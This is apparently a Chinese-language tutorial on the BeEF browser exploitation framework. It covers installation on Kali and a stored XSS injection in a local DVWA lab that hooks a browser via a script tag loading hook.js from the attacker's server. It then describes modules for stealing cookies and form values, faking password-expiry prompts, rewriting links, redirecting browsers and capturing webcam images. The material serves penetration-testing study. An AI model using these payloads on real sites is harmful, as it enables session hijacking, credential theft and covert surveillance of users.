BeFF
BeFF简介
Browser Exploitation Framework (BeEF)
BeFF 是目前最强大的浏览器开源渗透测试框架,通过xss漏洞配合JS脚本和Metasploit进行渗透,BeFF 是基于Ruby语言编写的,并且支持图形化操作,操作简单。
BeFF 主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问有了hook.js(钩子)的页面,就会被hook(钩住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认1秒)就会向BeFF服务器发送一个请求,询问是否有新的代码需要执行。BeFF服务器本质上就像一个Web应用,被分为前端和后端。前端会询问后端是否有新的数据需要更新,同时前端也可以向后端发送指示,BeFF持有者可以通过浏览器来登录BeFF后端,来控制前端(用户的浏览器)。
框架:
BeFF安装
在Kali中安装:
apt-get update
apt-get install beef-xss
cd /usr/share/beef-xss/ //切换到beef目录
./beef //打开beef
开启命令后提示不要使用默认账号密码:
[!] ERROR: Don't use default username and password!
|_ Change the beef.credentials.passwd in /etc/beef-xss/config.yaml
去修改配置:
vim /etc/beef-xss/config.yaml
修改后,启动beef,在浏览器访问3000端口,/ui/authentication
路径。
使用修改的账号密码登录即可。
BeFF使用
开启beef后,会有如下信息:
running on network interface: 127.0.0.1
[21:17:28] | Hook URL: http://127.0.0.1:3000/hook.js
[21:17:28] |_ UI URL: http://127.0.0.1:3000/ui/panel
[21:17:28][*] running on network interface: 192.168.216.129
[21:17:28] | Hook URL: http://192.168.216.129:3000/hook.js
[21:17:28] |_ UI URL: http://192.168.216.129:3000/ui/panel
其中http://192.168.216.129:3000/hook.js
就是我们要用到的。
emmm,就本机的DVWA练习吧。
在DVWA的XSS(stored)演示:
在修改浏览器前端限制输入长度后,插入:<script src="http://192.168.216.129:3000/hook.js"></script>
成功插入,然后返回beef访问:
可以看到在线浏览器中出现了我们攻击的目标机(这里我的攻击机与受害机都是一个,所以只显示一个)
我们先了解一下beef的功能:
点击当前在线主机,然后右边会有选择框(如上),我们点击 Current Browser ,然后下方会出现一些功能项:Details、Logs、Commands、XssPays、Network、WebRTC。
-
Details:浏览器信息详情。
-
Logs:记录被攻击者在浏览器上的操作,点击,输入操作等。
记录了受害者在被植入脚本的页面进行的操作,如:点击鼠标、输入的内容。
-
Commands:攻击者可以对该浏览器进行的操作。
Commands
点击Command,这里有一些我们可以使用的功能分类,一共有12个大的功能,括号里面的是每个功能分类里面的个数。
Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。 Chrome extensions:主要是针对谷歌浏览器扩展插件 Debug:调试功能 Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试 Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等 IPEC:协议间通信。主要是用来连接、控制受害者浏览器的 Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试 Misc:杂项。 Network:网络扫描 Persistence:维护受害者访问 Phonegap:手机测试 Social engineering:社会工程学攻击
绿色模块:可以执行且目标不可见
红色模块:不适合当前目标
橙色模块:可以执行但目标可见
灰色模块:未在目标浏览器上测试过
点击相对应的功能后,点击右下角的执行按钮,执行后可以查看执行结果。
Get Cookie
该模块将从当前页面检索会话cookie。Get From Vakues
该模块检索页面上所有输入字段的名称,类型和值。Get Page HREFs
该模块将从目标页面检索所有超链接。Get Page HTML
该模块将从当前页面检索HTML。Get Page and iframe HTML
该模块将从当前页面和任何iframe(具有相同来源)中检索HTML。Remove stuck iframe
该模块将删除所有卡住的iframe(请注意,它将删除该节点上的所有iframe!)。Replace HREFs
该模块将重写所有匹配链接的所有href属性。Replace HREFs(click Events)
该模块将使用Bilawal Hameed对click事件处理的更新来重写所有匹配链接的所有href属性。这将隐藏所有更新链接的目标站点。(意思是鼠标点向超链接,超链接任然会下会显示原来的链接,但是点击之后跳转到指定的网站)Replace HREFs (HTTPS)
该模块将重写HTTPS链接的所有href属性,以使用HTTP代替HTTPS。相对于Web根的链接不会被重写。Replace HREFs (TEL)
此模块将重写电话链接的所有href属性(即tel:5558585)以拨打您选择的号码。Fingerprint Ajax
钩住的页面上有指纹Ajax和JS库。Overflow Cookie Jar
该模块尝试执行John Wilander的CookieJar溢出。他在Owasp 1-liner项目中证明了这一点。使用此模块,可以擦除具有HTTPOnly标志和/或HTTPS标志的cookie。之后,您可以尝试重新创建这些cookie作为普通cookie。Create Alert Dialog
将警报对话框发送到挂钩的浏览器。Create Prompt Dialog
将结束对话框的提示对话框。(这个可以填入,您的密码已过期,请重新输入。然后beef这边会接收输入的数据)Redirect Browser
该模块会将选定的已挂钩的浏览器重定向到“重定向URL”输入中指定的地址。(直接重定向跳转)Redirect Browser (Rickroll)
用全屏Rickroll覆盖受害者所在页面的正文。(受害者页面全屏变白了)Redirect Browser (iFrame)
他的模块创建了100%x 100%的重叠iframe,并使浏览器始终挂在框架上。iframe的内容,页面标题,页面快捷方式图标和时间延迟在以下参数中指定。URL栏的内容在挂钩的浏览器中不会更改。(此时虽然页面变了,但只是iframe的作用,所以主机不会掉线,但是如果其他直接重定向跳转到其他链接,主机就会掉线)Replace Component (Deface)
覆盖挂钩页面的特定组件。Replace Content (Deface)
覆盖页面上的页面,标题和快捷方式图标。Replace Videos
使用包含您选择的youtube视频的嵌入标签(默认为rickroll)替换用jQuery选择的对象(默认情况下为所有嵌入标签)。
其他功能:
Play Sound
在挂钩的浏览器上播放声音。Webcam
该模块将向用户显示Adobe Flash“允许网络摄像头”对话框。用户必须单击允许按钮,否则该模块将不返回图片。可以定制说服用户的标题/文本。您可以自定义要拍摄的照片数量和间隔时间(默认情况下将拍摄20张照片,每秒1张照片)。图片以base64编码的JPG字符串发送。Webcam Pemission Check
该模块将检查用户是否已允许BeEF域(或所有域)使用Flash访问摄像头和麦克风。该模块是透明的,用户不应检测到该模块(即不会出现请求权限的弹出窗口)
再来个弹窗功能演示:
还有很多的功能,之后在介绍了。